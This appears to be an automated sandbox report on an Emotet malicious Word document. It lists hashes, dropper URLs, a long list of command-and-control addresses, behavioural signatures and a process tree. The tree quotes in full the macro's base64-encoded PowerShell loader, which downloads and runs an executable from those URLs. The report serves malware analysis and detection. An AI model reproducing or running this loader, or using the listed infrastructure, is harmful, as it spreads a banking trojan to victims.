emotet | 8b484c91782994539291e7b9d577270efdff9bd2f8c25bfcfb043e3edd0f1e7e

Analysis

max time kernel
136s
max time network
141s
platform
windows10_x64
resource
win10
submitted
16/09/2020, 09:56

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General

Target
emotet_e2_8b484c91782994539291e7b9d577270efdff9bd2f8c25bfcfb043e3edd0f1e7e_2020-09-16__095422._doc.doc
Size 197KB
Sample200916-4187h38gps
SHA256 8b484c91782994539291e7b9d577270efdff9bd2f8c25bfcfb043e3edd0f1e7e
MD5 a76136f928b18b5b418e3fc86a4bc095
SHA1 571496f2e99b61bb33cdb032656829751773fb56
SHA512 43e93bfd29ac33cf031a545c9b8994ede5a8d979939fc367955ead2f6460f7cb23e347b14026bfe70ab3ef5f803ea86683609039b913c2d1e84b9f4ed783be94
MD5 SHA1 SHA512

Score

10^/10

dave trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://houtai.xiaopbk.com/install/t0H/
exe.dropper
https://gudangalami.com/ivo6rp/UaBj2/
exe.dropper
https://webhostingsrilanka.info/pkrgs/ODn/
exe.dropper
http://luzzeri.com/wp-includes/T1mrkC/
exe.dropper
http://mobithem.com/blogs/Z3/
exe.dropper
http://planosdesaudesemcarencia.com/erros/E8iv/
exe.dropper
http://lookuppopup.co.uk/content/uploads/XNEm9/

Extracted

Family

emotet

75.80.124.4:80
134.209.36.254:8080
104.156.59.7:8080
120.138.30.150:8080
107.5.122.110:80
195.251.213.56:80
91.211.88.52:7080
79.98.24.39:8080
75.139.38.211:80
82.225.49.121:80
162.241.242.173:8080
94.1.108.190:443
85.105.205.77:8080
181.169.34.190:80
24.179.13.119:80
139.59.67.118:443
82.80.155.43:80
50.91.114.38:80
93.147.212.206:80
153.232.188.106:80
46.105.131.79:8080
42.200.107.142:80
61.92.17.12:80
140.186.212.146:80
78.24.219.147:8080
87.106.139.101:8080
188.219.31.12:80
104.131.11.150:443
62.30.7.67:443
201.173.217.124:443
203.153.216.189:7080
172.91.208.86:80
5.39.91.110:7080
94.200.114.161:80
95.179.229.244:8080
157.245.99.39:8080
174.102.48.180:443
104.32.141.43:80
24.137.76.62:80
74.208.45.104:8080
185.94.252.104:443
220.245.198.194:80
153.177.101.120:443
37.139.21.175:8080
200.114.213.233:8080
84.39.182.7:80
109.74.5.95:8080
194.187.133.160:443
120.150.60.189:80
156.155.166.221:80
110.145.77.103:80
5.196.74.210:8080
95.213.236.64:8080
103.86.49.11:8080
94.23.216.33:80
139.59.60.244:8080
219.74.18.66:443
62.75.141.82:80
61.19.246.238:443
24.43.99.75:80
174.45.13.118:80
121.7.127.163:80
78.187.156.31:80
50.35.17.13:80
79.137.83.50:443
139.130.242.43:80
74.134.41.124:80
37.187.72.193:8080
110.5.16.198:80
124.41.215.226:80
89.216.122.92:80
200.123.150.89:443
97.82.79.83:80
139.99.158.11:443
104.236.246.93:8080
169.239.182.217:8080
203.117.253.142:80
85.152.162.105:80
168.235.67.138:7080
104.131.44.150:8080
83.169.36.251:8080
87.106.136.232:8080
121.124.124.40:7080
187.161.206.24:80
137.119.36.33:80
209.141.54.221:8080
94.23.237.171:443
213.196.135.145:80
1.221.254.82:80
176.111.60.55:8080
68.188.112.97:80
47.144.21.12:443
137.59.187.107:8080
139.162.108.71:8080
74.120.55.163:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2112	908	powershell.exe	73

ServiceHost packer 1 IoCs

Detects ServiceHost packer used for .NET malware

resource	yara_rule
behavioral2/memory/3936-19-0x0000000000000000-mapping.dmp	servicehost

Blacklisted process makes network request 1 IoCs

flow	pid	Process
13	2112	powershell.exe

Dave packer 1 IoCs

Detects executable packed with a packer named 'Dave' from the community, due to a string at the end of it.

dave

resource	yara_rule
behavioral2/memory/3936-19-0x0000000000000000-mapping.dmp	dave

Executes dropped EXE 2 IoCs

pid	Process
3936	Vvvqdm2.exe
3744	d3dxof.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\PresentationHostProxy\d3dxof.exe	Vvvqdm2.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3928	3936	WerFault.exe	80

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3868	WINWORD.EXE
3868	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
2112	powershell.exe
2112	powershell.exe
2112	powershell.exe
3928	WerFault.exe
3928	WerFault.exe
3928	WerFault.exe
3928	WerFault.exe
3928	WerFault.exe
3928	WerFault.exe
3928	WerFault.exe
3928	WerFault.exe
3928	WerFault.exe
3928	WerFault.exe
3928	WerFault.exe
3928	WerFault.exe
3928	WerFault.exe
3928	WerFault.exe
3928	WerFault.exe
3928	WerFault.exe
3744	d3dxof.exe
3744	d3dxof.exe
3744	d3dxof.exe
3744	d3dxof.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2112	powershell.exe
Token: SeRestorePrivilege	3928	WerFault.exe
Token: SeBackupPrivilege	3928	WerFault.exe
Token: SeDebugPrivilege	3928	WerFault.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3868	WINWORD.EXE
3868	WINWORD.EXE
3868	WINWORD.EXE
3868	WINWORD.EXE
3868	WINWORD.EXE
3868	WINWORD.EXE
3868	WINWORD.EXE
3868	WINWORD.EXE
3868	WINWORD.EXE
3936	Vvvqdm2.exe
3744	d3dxof.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 3936	2112	powershell.exe	80
PID 2112 wrote to memory of 3936	2112	powershell.exe	80
PID 2112 wrote to memory of 3936	2112	powershell.exe	80
PID 3936 wrote to memory of 3744	3936	Vvvqdm2.exe	83
PID 3936 wrote to memory of 3744	3936	Vvvqdm2.exe	83
PID 3936 wrote to memory of 3744	3936	Vvvqdm2.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_8b484c91782994539291e7b9d577270efdff9bd2f8c25bfcfb043e3edd0f1e7e_2020-09-16__095422._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3868

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -encod JABEAHcAdgBnAG4ANQBfAD0AKAAnAFkAawAnACsAKAAnADYAJwArACcAbQBrADgAaAAnACkAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAdQBTAGUAcgBQAHIATwBmAGkATABFAFwARQBNAGsAcgBFAEwASwBcAHQAZwA4ADAAdQBSADEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAEMAVQBSAGAAaQBUAHkAUABSAGAAbwB0AE8AYwBgAE8ATAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAnACsAKAAnADEAJwArACcAMgAsACcAKQArACgAJwAgAHQAbABzACcAKwAnADEAMQAnACsAJwAsACAAdABsAHMAJwApACkAOwAkAFYAbQBmAHoAdAA1ADMAIAA9ACAAKAAnAFYAdgAnACsAJwB2ACcAKwAoACcAcQBkAG0AJwArACcAMgAnACkAKQA7ACQASABuAHcAZQB1AHYANAA9ACgAJwBRACcAKwAoACcAeQB1ADkAJwArACcAagAnACsAJwB3AHMAJwApACkAOwAkAEEAdQAwAG4AbABxAHUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBmACcAKwAnAGcASwAnACkAKwAoACcARQBtACcAKwAnAGsAcgBlACcAKQArACgAJwBsAGsAJwArACcAZgAnACsAJwBnAEsAVABnACcAKwAnADgAMAB1ACcAKQArACgAJwByACcAKwAnADEAZgBnAEsAJwApACkALgAiAFIARQBgAHAAYABMAGEAQwBFACIAKAAoAFsAQwBIAGEAUgBdADEAMAAyACsAWwBDAEgAYQBSAF0AMQAwADMAKwBbAEMASABhAFIAXQA3ADUAKQAsACcAXAAnACkAKQArACQAVgBtAGYAegB0ADUAMwArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAEoAdAB1ADUAcQA5AG0APQAoACgAJwBaACcAKwAnAHYAZQAnACkAKwAoACcAMAA4ACcAKwAnAGoAbwAnACkAKQA7ACQAVwBfAHEAdwAyAGwAaAA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAATgBFAHQALgBXAEUAQgBDAEwAaQBlAE4AdAA7ACQARgByAHcAeQB6AHEAdgA9ACgAJwBoACcAKwAnAHQAdAAnACsAKAAnAHAAcwA6ACcAKwAnAC8ALwBoAG8AJwArACcAdQB0AGEAJwApACsAKAAnAGkALgAnACsAJwB4AGkAJwApACsAJwBhACcAKwAoACcAbwBwAGIAawAuAGMAbwAnACsAJwBtACcAKwAnAC8AJwArACcAaQBuACcAKQArACgAJwBzAHQAYQBsACcAKwAnAGwAJwApACsAKAAnAC8AdAAwACcAKwAnAEgALwAqACcAKQArACgAJwBoAHQAdAAnACsAJwBwAHMAJwApACsAJwA6AC8AJwArACcALwAnACsAKAAnAGcAJwArACcAdQBkAGEAbgAnACkAKwAoACcAZwBhAGwAJwArACcAYQAnACkAKwAoACcAbQAnACsAJwBpAC4AJwArACcAYwBvAG0ALwAnACkAKwAoACcAaQAnACsAJwB2ACcAKwAnAG8ANgByACcAKwAnAHAALwBVAGEAQgBqACcAKQArACgAJwAyACcAKwAnAC8AKgBoACcAKwAnAHQAdABwACcAKQArACcAcwA6ACcAKwAoACcALwAvAHcAZQAnACsAJwBiACcAKwAnAGgAbwBzAHQAaQAnACkAKwAnAG4AJwArACcAZwAnACsAJwBzACcAKwAnAHIAaQAnACsAJwBsACcAKwAoACcAYQBuACcAKwAnAGsAYQAnACkAKwAoACcALgBpAG4AJwArACcAZgBvAC8AJwArACcAcAAnACsAJwBrAHIAZwBzAC8ATwBEAG4ALwAnACkAKwAnACoAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQArACcAOgAnACsAKAAnAC8AJwArACcALwBsAHUAJwApACsAKAAnAHoAegBlACcAKwAnAHIAJwArACcAaQAuAGMAJwApACsAJwBvAG0AJwArACcALwAnACsAKAAnAHcAJwArACcAcAAtACcAKQArACcAaQBuACcAKwAoACcAYwAnACsAJwBsAHUAZAAnACkAKwAnAGUAJwArACgAJwBzAC8AVAAxACcAKwAnAG0AcgAnACsAJwBrAEMALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKQArACgAJwAvAG0AJwArACcAbwAnACkAKwAoACcAYgBpAHQAJwArACcAaAAnACkAKwAnAGUAbQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAoACcAYgBsACcAKwAnAG8AZwBzAC8AJwApACsAJwBaADMAJwArACgAJwAvACcAKwAnACoAaAAnACkAKwAnAHQAJwArACcAdABwACcAKwAoACcAOgAvAC8AcAAnACsAJwBsACcAKQArACgAJwBhAG4AJwArACcAbwAnACkAKwAnAHMAJwArACcAZABlACcAKwAoACcAcwAnACsAJwBhAHUAJwApACsAJwBkAGUAJwArACgAJwBzACcAKwAnAGUAbQBjACcAKwAnAGEAcgBlAG4AJwApACsAJwBjAGkAJwArACgAJwBhAC4AJwArACcAYwBvACcAKwAnAG0ALwBlACcAKQArACgAJwByAHIAJwArACcAbwAnACkAKwAoACcAcwAvAEUAOAAnACsAJwBpACcAKQArACgAJwB2ACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcAA6ACcAKwAnAC8ALwBsAG8AbwAnACkAKwAnAGsAdQAnACsAJwBwACcAKwAoACcAcAAnACsAJwBvAHAAJwApACsAJwB1ACcAKwAoACcAcAAuAGMAJwArACcAbwAuAHUAJwArACcAawAvAGMAJwArACcAbwAnACkAKwAoACcAbgB0ACcAKwAnAGUAbgB0AC8AJwArACcAdQBwAGwAbwBhAGQAJwArACcAcwAvAFgAJwApACsAKAAnAE4ARQAnACsAJwBtACcAKQArACcAOQAvACcAKQAuACIAUwBwAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABXADYANwBfAGkANgBoAD0AKAAnAE0AdAAnACsAJwB6ACcAKwAoACcAeAAnACsAJwBuAGoAYwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEQAdwBxADMANABvADUAIABpAG4AIAAkAEYAcgB3AHkAegBxAHYAKQB7AHQAcgB5AHsAJABXAF8AcQB3ADIAbABoAC4AIgBEAGAAbwB3AE4AbABPAGAAQQBkAEYAYABJAGwARQAiACgAJABEAHcAcQAzADQAbwA1ACwAIAAkAEEAdQAwAG4AbABxAHUAKQA7ACQAQwBpAGQAdgA0ADgAawA9ACgAKAAnAEEAMgAnACsAJwBmADAAcQAnACkAKwAnADUAcQAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAgACQAQQB1ADAAbgBsAHEAdQApAC4AIgBMAGUAYABOAGcAVABoACIAIAAtAGcAZQAgADIANwA2ADkANQApACAAewAuACgAJwBJAG4AdgBvAGsAZQAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACgAJABBAHUAMABuAGwAcQB1ACkAOwAkAFQAYgBvADEAcwBkAHQAPQAoACgAJwBGACcAKwAnAG0AOAAnACkAKwAnAGkAJwArACgAJwB6ACcAKwAnAHMAMQAnACkAKQA7AGIAcgBlAGEAawA7ACQAWAA2AHkAZwA0AGEAXwA9ACgAJwBOADAAJwArACgAJwBzAHoAJwArACcAagAnACkAKwAnADgAeQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAbQB3AGgAeQB0AHYAPQAoACcATwAnACsAKAAnAGoAJwArACcAdgB1AG8AZQBtACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Users\Admin\Emkrelk\Tg80ur1\Vvvqdm2.exe
  "C:\Users\Admin\Emkrelk\Tg80ur1\Vvvqdm2.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3936
- - C:\Windows\SysWOW64\PresentationHostProxy\d3dxof.exe
    "C:\Windows\SysWOW64\PresentationHostProxy\d3dxof.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3744
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3936 -s 908
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3928

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2112-9-0x000001D850CB0000-0x000001D850CB1000-memory.dmp

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memory/2112-10-0x000001D850F80000-0x000001D850F81000-memory.dmp

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memory/2112-8-0x00007FFEF5AF0000-0x00007FFEF64DC000-memory.dmp

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memory/3744-22-0x0000000000460000-0x0000000000470000-memory.dmp

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memory/3744-21-0x0000000000650000-0x0000000000662000-memory.dmp

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memory/3868-5-0x0000010A019AD000-0x0000010A019B2000-memory.dmp

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memory/3868-3-0x0000010A04064000-0x0000010A04069000-memory.dmp

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memory/3868-1-0x0000010A04069000-0x0000010A0406E000-memory.dmp

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memory/3868-6-0x0000010A0421C000-0x0000010A0421F000-memory.dmp

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memory/3868-0-0x00007FFEFD120000-0x00007FFEFD7E6000-memory.dmp

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memory/3868-2-0x0000010A04064000-0x0000010A04069000-memory.dmp

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memory/3868-4-0x0000010A0421C000-0x0000010A0421F000-memory.dmp

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memory/3868-7-0x0000010A0421B000-0x0000010A0421C000-memory.dmp

Download

memory/3928-18-0x0000000004B60000-0x0000000004B61000-memory.dmp

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memory/3928-20-0x0000000005210000-0x0000000005211000-memory.dmp

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memory/3936-15-0x00000000005E0000-0x00000000005F0000-memory.dmp

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memory/3936-14-0x0000000000A90000-0x0000000000AA2000-memory.dmp

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